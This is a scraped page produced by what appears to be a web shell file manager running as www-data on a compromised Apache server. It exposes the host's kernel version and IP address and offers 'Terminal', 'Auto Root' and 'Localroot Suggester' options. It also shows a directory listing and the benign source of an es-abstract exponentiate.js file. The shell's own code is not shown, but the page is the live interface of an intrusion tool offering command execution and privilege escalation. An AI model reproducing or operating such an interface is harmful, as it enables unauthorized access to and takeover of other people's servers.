Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.217.80
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
nodejs /
es-abstract /
2022 /
Number /
Delete
Unzip
Name
Size
Permission
Date
Action
add.js
875
B
-rw-r--r--
2022-12-05 08:07
bitwiseAND.js
503
B
-rw-r--r--
2022-12-05 08:07
bitwiseNOT.js
578
B
-rw-r--r--
2022-12-05 08:07
bitwiseOR.js
501
B
-rw-r--r--
2022-12-05 08:07
bitwiseXOR.js
503
B
-rw-r--r--
2022-12-05 08:07
divide.js
638
B
-rw-r--r--
2022-12-05 08:07
equal.js
556
B
-rw-r--r--
2022-12-05 08:07
exponentiate.js
1.74
KB
-rw-r--r--
2022-12-05 08:07
index.js
1.24
KB
-rw-r--r--
2022-12-05 08:07
leftShift.js
639
B
-rw-r--r--
2022-12-05 08:07
lessThan.js
642
B
-rw-r--r--
2022-12-05 08:07
multiply.js
848
B
-rw-r--r--
2022-12-05 08:07
remainder.js
1
KB
-rw-r--r--
2022-12-05 08:07
sameValue.js
632
B
-rw-r--r--
2022-12-05 08:07
sameValueZero.js
575
B
-rw-r--r--
2022-12-05 08:07
signedRightShift.js
653
B
-rw-r--r--
2022-12-05 08:07
subtract.js
536
B
-rw-r--r--
2022-12-05 08:07
toString.js
427
B
-rw-r--r--
2022-12-05 08:07
unaryMinus.js
470
B
-rw-r--r--
2022-12-05 08:07
unsignedRightShift.js
658
B
-rw-r--r--
2022-12-05 08:07
Save
Rename
'use strict'; var GetIntrinsic = require('get-intrinsic'); // var isNegativeZero = require('is-negative-zero'); var $pow = GetIntrinsic('%Math.pow%'); var $TypeError = GetIntrinsic('%TypeError%'); /* var abs = require('../../helpers/abs'); var isFinite = require('../../helpers/isFinite'); var isNaN = require('../../helpers/isNaN'); var IsInteger = require('../IsInteger'); */ var Type = require('../Type'); // https://262.ecma-international.org/11.0/#sec-numeric-types-number-exponentiate /* eslint max-lines-per-function: 0, max-statements: 0 */ module.exports = function NumberExponentiate(base, exponent) { if (Type(base) !== 'Number' || Type(exponent) !== 'Number') { throw new $TypeError('Assertion failed: `base` and `exponent` arguments must be Numbers'); } return $pow(base, exponent); /* if (isNaN(exponent)) { return NaN; } if (exponent === 0) { return 1; } if (isNaN(base)) { return NaN; } var aB = abs(base); if (aB > 1 && exponent === Infinity) { return Infinity; } if (aB > 1 && exponent === -Infinity) { return 0; } if (aB === 1 && (exponent === Infinity || exponent === -Infinity)) { return NaN; } if (aB < 1 && exponent === Infinity) { return +0; } if (aB < 1 && exponent === -Infinity) { return Infinity; } if (base === Infinity) { return exponent > 0 ? Infinity : 0; } if (base === -Infinity) { var isOdd = true; if (exponent > 0) { return isOdd ? -Infinity : Infinity; } return isOdd ? -0 : 0; } if (exponent > 0) { return isNegativeZero(base) ? Infinity : 0; } if (isNegativeZero(base)) { if (exponent > 0) { return isOdd ? -0 : 0; } return isOdd ? -Infinity : Infinity; } if (base < 0 && isFinite(base) && isFinite(exponent) && !IsInteger(exponent)) { return NaN; } */ };